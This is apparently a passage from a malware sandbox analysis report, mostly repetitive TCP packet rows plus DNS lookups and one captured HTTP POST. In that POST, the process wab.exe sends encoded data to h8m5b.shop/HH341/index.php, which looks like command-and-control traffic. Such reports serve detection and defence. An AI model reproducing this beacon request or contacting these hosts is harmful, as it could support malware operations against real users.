Sep 11, 2024 18:23:57.937482119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937571049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.937581062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937587976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937721014 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.937738895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937743902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937751055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937757969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937763929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937769890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937787056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937793016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937798977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937807083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937813044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937839031 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.937922001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.938282013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938580990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938581944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.938586950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938592911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938601971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938606977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938612938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938620090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938626051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938632011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938640118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938644886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938651085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938658953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938664913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938673019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938678980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.938678980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.938718081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.938718081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.938815117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938824892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.938829899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.939198971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.940829039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.940834045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.940841913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.940850019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.940855026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.940931082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.940931082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.941001892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941010952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941016912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941024065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941061020 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.941061020 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.941076994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.941138029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941143990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941150904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941158056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941163063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941169024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941175938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941181898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941188097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941195011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941200972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941205978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941241980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.941241980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.941493034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941505909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941514015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941741943 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.941832066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941838026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941852093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941859961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941865921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941873074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941890001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941895008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941900969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.941946983 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.942168951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942174911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942181110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942188025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942193031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942198992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942212105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942218065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942224026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942229986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942235947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942243099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942250967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942255974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942296982 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.942296982 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.942836046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942842007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942847967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942944050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.942950010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943002939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.943003893 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.943058968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943067074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943072081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943078041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943231106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943236113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943238974 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.943243027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943249941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943253994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943259954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943274975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943279982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943284988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943291903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943296909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943304062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943310976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943315983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943342924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.943398952 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.943882942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.943888903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944025040 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.944037914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944298029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944307089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944312096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.944313049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944319963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944325924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944331884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944339037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944343090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944349051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944355965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944361925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944369078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.944411039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.944411993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.944998026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945003986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945009947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945017099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945022106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945028067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945035934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945040941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945048094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945167065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945171118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.945173025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945179939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945188046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945193052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945199966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945208073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945213079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945219040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945225954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945230961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945236921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945244074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945250034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945271969 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.945271969 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.945322990 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.945729017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.945791960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.947132111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947201967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.947329044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947335005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947340965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947348118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947381020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947393894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947401047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947408915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.947410107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947415113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947422028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947428942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947433949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947439909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947452068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.947452068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.947515011 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.947566032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947747946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.947979927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947985888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947990894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.947999001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948003054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948008060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948021889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948029041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948034048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948040009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948046923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948052883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948059082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948065996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948070049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948076010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948082924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948086977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948098898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.948098898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.948132992 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.948132992 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.948410034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948415995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948421955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948429108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948434114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948492050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948498011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948503971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948503971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.948512077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948517084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948544979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.948580980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.948580980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.948764086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948770046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948775053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948781967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948786974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948792934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.948807001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949031115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.949059963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949067116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949070930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949076891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949084997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949090004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949103117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949109077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949116945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.949157953 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.950088978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.957107067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.528075933 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:58.535096884 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.536904097 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:58.537022114 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:58.537096977 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:58.544469118 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544472933 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544476986 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544480085 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544483900 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544493914 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544497013 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544500113 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544503927 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544641972 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:58.544661045 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.544724941 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:58.551784039 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.551960945 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.551964998 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.552038908 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:58.552110910 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.552114964 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.552118063 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:58.552340031 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:58.595123053 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:24:02.071444035 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:24:02.071604013 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:24:02.071811914 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:24:02.072805882 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:24:02.072877884 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:24:02.103611946 CEST	80	49712	104.21.14.133	192.168.2.5
Sep 11, 2024 18:24:02.103668928 CEST	49712	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:24:02.314870119 CEST	80	49712	104.21.14.133	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 11, 2024 18:23:41.107692957 CEST	51624	53	192.168.2.5	1.1.1.1
Sep 11, 2024 18:23:41.591867924 CEST	53	51624	1.1.1.1	192.168.2.5
Sep 11, 2024 18:23:45.133373022 CEST	62288	53	192.168.2.5	1.1.1.1
Sep 11, 2024 18:23:45.148117065 CEST	53	62288	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 11, 2024 18:23:41.107692957 CEST	192.168.2.5	1.1.1.1	0xe706	Standard query (0)	portal.expertmotorservices.mv	A (IP address)	IN (0x0001)	false
Sep 11, 2024 18:23:45.133373022 CEST	192.168.2.5	1.1.1.1	0x2c04	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 11, 2024 18:23:41.591867924 CEST	1.1.1.1	192.168.2.5	0xe706	No error (0)	portal.expertmotorservices.mv	27.114.150.50	A (IP address)	IN (0x0001)	false
Sep 11, 2024 18:23:45.148117065 CEST	1.1.1.1	192.168.2.5	0x2c04	No error (0)	h8m5b.shop	104.21.14.133	A (IP address)	IN (0x0001)	false
Sep 11, 2024 18:23:45.148117065 CEST	1.1.1.1	192.168.2.5	0x2c04	No error (0)	h8m5b.shop	172.67.159.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

portal.expertmotorservices.mv

h8m5b.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	104.21.14.133	80	6208	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 18:23:45.242350101 CEST	270	OUT	POST /HH341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: h8m5b.shop Content-Length: 107 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 65 8b 30 61 8b 30 65 ec 26 66 9b 26 66 97 41 70 9d 3a 70 9c 47 13 8b 30 67 8b 30 60 8b 30 61 ec 40 70 9d 33 13 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10e0a0e&f&fAp:pG0g0`0a@p3
Sep 11, 2024 18:23:46.925896883 CEST	536	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 16:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: Accept-Encoding,User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FFAvdRB2nA%2F3fgL11upW6M8uzYpmiMDSlN3p7Unp%2BLmgIegNkXvqsuxIJardKZsOBVOaF3O0v1YPiHrIZZSvwoDUpIj1dJeDNhxk6HLoYYaBmu%2Fvn0NAzmQeWanW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age": Data Raw: Data Ascii:
